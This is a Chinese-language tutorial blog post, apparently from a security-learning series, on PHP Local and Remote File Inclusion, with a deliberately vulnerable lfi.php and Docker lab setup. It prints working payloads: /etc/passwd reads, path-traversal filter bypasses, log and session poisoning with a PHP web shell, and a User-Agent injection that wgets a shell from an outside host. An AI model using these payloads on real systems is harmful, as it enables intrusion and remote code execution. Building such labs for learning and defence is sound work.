iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 6
5
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 6

資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion

  • Code injection 也就是弱點出在程式碼當中

LFI ( Local File Inclusion )

  • 什麼是 LFI

    • LFI 最大的漏洞成因在於後端程式 PHP 語言使用 include 引入其他 php 檔案的時候,沒有去驗證輸入的值或是惡意攻擊者繞過驗證,導致敏感資料外洩 ( etc/passwd ) ,而敏感資料外洩的資料是在伺服器 local 端,所以這個漏洞叫做 local file inclusion。
  • LFI 產生的原因

    • 後端未驗證是否為合法路徑
    • PHP 中可能有問題的函式
      • include()
        • 引入的檔案如果不存在會噴警告但是會繼續執行
      • include_once()
        • 只執行一次
      • require()
        • 引入的檔案如果不存在會噴警告且停止執行
      • require_once
        • 只執行一次
      • fopen()
      • file_get_contents()
    • 被引入之後會被當作 PHP 程式碼解析
  • LFI 利用方式

    • 起手式讀檔案
      • feifei.tw/?p=/etc/passwd
    • 從 LFI 到 RCE 步驟拆解
      1. 透過 nc feifei.tw 80 注入一段 php 惡意程式碼
        • <?php echo shell_exec($_GET['cmd']);?>
        • 或是在 User-Agent 動手腳
      2. 裡面會有包含惡意程式碼的內容
        • /var/log/apache2/access.log
        • /var/log/httpd/access_log
        • 要注意網站權限要可以訪問 log
      3. 透過 LFI 到 RCE
        • feifei.tw/?p=/var/log/apache2/access.log&cmd=id
        • 就可以 getshell
    • 從 LFI 到 SSH log RCE
      1. ssh '<?php echo shell_exec($_GET['cmd']);?>'@192.168.1.1
      2. /var/log/auth.log /var/log/secure
      3. 同上訪問 log
    • 從 LFI 到 Seesion RCE
      1. 透過 phpinfo 尋找 session 儲存的位置
        • 預設可能在 /var/lib/php/session
      2. session 可寫入惡意字串或可控
        <?php
        session_start();
        $tmp=$_GET['tmp'];
        $_SESSION["tmp"]=$tmp;
        ?>
        
      3. 惡意程式碼被寫入 session 檔案
        • feifei.tw/session.php?tmp=<?php echo shell_exec($_GET['cmd']);?>
      4. session
        • 預設位置 /var/lib/php/session
        • 預設檔案名稱 sess_<SESSIONID>
        • <SESSIONID>可以透過開發者工具查看
      5. 透過 LRI 到 Session RCE
        • feifei.tw/?p=/var/lib/php/session/sess_<SESSIONID>&cmd=id
    • /proc/slef/enversion LFI to RCE
      1. 確認系統參數可訪問 /proc/slef/enversion
      2. User-Agent 塞入惡意程式碼 <?php system('wget http://feifei.tw/shell.txt -O shell.php');?>
      3. 訪問 http://vul.feifei.tw/shell.php Getshell
  • PHP 語言中的偽協議

    • file:// — 可以讀檔案
    • http:// — 可以對網頁送出請求 https:// 亦可
    • ftp:// — 訪問 ftp 位置
    • php:// — PHP I/O
    • zlib:// — 壓縮
    • data:// — RFC 2397
    • glob:// — 針對資料夾
    • phar:// — PHP 歸檔
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — 音樂
    • expect:// — Process Interaction Streams
  • LFI 修復方法

    • 過濾文件,確認讀取文件的合法性

RFI ( Remote File Inclusion )

  • 剛剛介紹過 LFI ,所引入的檔案是 local ,那 RFI 則是引入其他伺服器的惡意檔案
  • 前提是 PHP 有開啟 allow_url_fopen = On (是否允許遠端伺服器的 url )與 allow_url_include=on (是否允許包含遠端伺服器的 url )

繞過

  • 相對位置
    • ../../../etc/passwd
  • 絕對位置
    • /etc/passwd
  • 如果過濾掉 ../path.replaceAll('../', '')
    • 使用 ....//....//....//
    • ....// 中間 ../ 被過濾掉
    • 或使用 ....\/....\/....\/
  • ..%c0%af or ..%252f
  • filename=/var/www/images/../../../etc/passwd
  • filename=../../../etc/passwd%00.png

自製環境

  • server 資料夾 lfi.php
    <?php
    
       $file = $_GET['a'];
       if(isset($file)){
           include($file);
       }
    ?>
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8003:80"
            volumes:
                - ./server:/var/www/html/
    
    

上一篇
資安這條路 05 - [Injection] Code injection - XML injection
下一篇
資安這條路 07 - [Injection] Command injection
系列文
資安這條路─以自建漏洞環境學習資訊安全31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
SunAllen
iT邦研究生 1 級 ‧ 2020-09-21 23:30:01

這手法我在自己的系統上,還滿常用的~~原來是 injection XD

飛飛 iT邦新手 1 級 ‧ 2020-09-22 19:40:38 檢舉

如果只是測試用就還好 XDD
如果是產品記得上線要拔掉

我要留言

立即登入留言